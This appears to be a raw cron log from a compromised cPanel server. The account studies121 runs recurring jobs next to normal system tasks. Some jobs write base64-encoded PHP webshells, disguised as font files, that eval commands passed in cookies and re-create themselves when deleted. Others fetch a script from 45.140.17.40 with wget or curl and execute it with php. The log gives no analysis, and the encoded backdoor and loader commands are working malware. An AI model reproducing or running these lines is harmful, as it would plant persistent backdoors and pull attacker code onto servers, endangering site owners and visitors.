Sep 22 16:56:01 ip-184-168-122-23 CROND[8072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:56:01 ip-184-168-122-23 CROND[8071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:57:01 ip-184-168-122-23 CROND[8913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:57:01 ip-184-168-122-23 CROND[8915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:57:01 ip-184-168-122-23 CROND[8917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:57:01 ip-184-168-122-23 CROND[8916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:58:01 ip-184-168-122-23 CROND[9680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:58:01 ip-184-168-122-23 CROND[9683]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:58:01 ip-184-168-122-23 CROND[9682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:58:01 ip-184-168-122-23 CROND[9684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:58:01 ip-184-168-122-23 CROND[9686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:59:01 ip-184-168-122-23 CROND[10458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:59:01 ip-184-168-122-23 CROND[10459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:59:01 ip-184-168-122-23 CROND[10463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:59:01 ip-184-168-122-23 CROND[10464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:00:01 ip-184-168-122-23 CROND[10712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:00:01 ip-184-168-122-23 CROND[10714]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 17:00:02 ip-184-168-122-23 CROND[10717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:00:02 ip-184-168-122-23 CROND[10718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:00:02 ip-184-168-122-23 CROND[10719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:00:02 ip-184-168-122-23 CROND[10722]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 17:00:02 ip-184-168-122-23 CROND[10720]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 17:00:02 ip-184-168-122-23 CROND[10721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:01:01 ip-184-168-122-23 CROND[10871]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 17:01:01 ip-184-168-122-23 CROND[10870]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 17:01:01 ip-184-168-122-23 CROND[10872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:01:01 ip-184-168-122-23 CROND[10875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:01:01 ip-184-168-122-23 CROND[10876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:01:01 ip-184-168-122-23 CROND[10877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10870]: starting 0anacron
Sep 22 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10891]: finished 0anacron
Sep 22 17:02:01 ip-184-168-122-23 CROND[11041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:02:01 ip-184-168-122-23 CROND[11040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:02:01 ip-184-168-122-23 CROND[11044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:02:01 ip-184-168-122-23 CROND[11042]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:02:01 ip-184-168-122-23 CROND[11043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:03:01 ip-184-168-122-23 CROND[11284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:03:01 ip-184-168-122-23 CROND[11288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:03:01 ip-184-168-122-23 CROND[11287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:03:01 ip-184-168-122-23 CROND[11289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:04:01 ip-184-168-122-23 CROND[11424]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:04:01 ip-184-168-122-23 CROND[11426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:04:01 ip-184-168-122-23 CROND[11427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:04:01 ip-184-168-122-23 CROND[11428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:04:01 ip-184-168-122-23 CROND[11429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:05:01 ip-184-168-122-23 CROND[11571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:05:01 ip-184-168-122-23 CROND[11574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:05:01 ip-184-168-122-23 CROND[11573]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 17:05:01 ip-184-168-122-23 CROND[11577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:05:01 ip-184-168-122-23 CROND[11575]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 17:05:01 ip-184-168-122-23 CROND[11576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:05:01 ip-184-168-122-23 CROND[11578]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 17:06:01 ip-184-168-122-23 CROND[11724]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:06:01 ip-184-168-122-23 CROND[11727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:06:01 ip-184-168-122-23 CROND[11728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:06:01 ip-184-168-122-23 CROND[11729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:06:01 ip-184-168-122-23 CROND[11732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:07:01 ip-184-168-122-23 CROND[11871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:07:01 ip-184-168-122-23 CROND[11870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:07:01 ip-184-168-122-23 CROND[11872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:07:01 ip-184-168-122-23 CROND[11874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:08:01 ip-184-168-122-23 CROND[12108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:08:01 ip-184-168-122-23 CROND[12110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:08:01 ip-184-168-122-23 CROND[12111]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
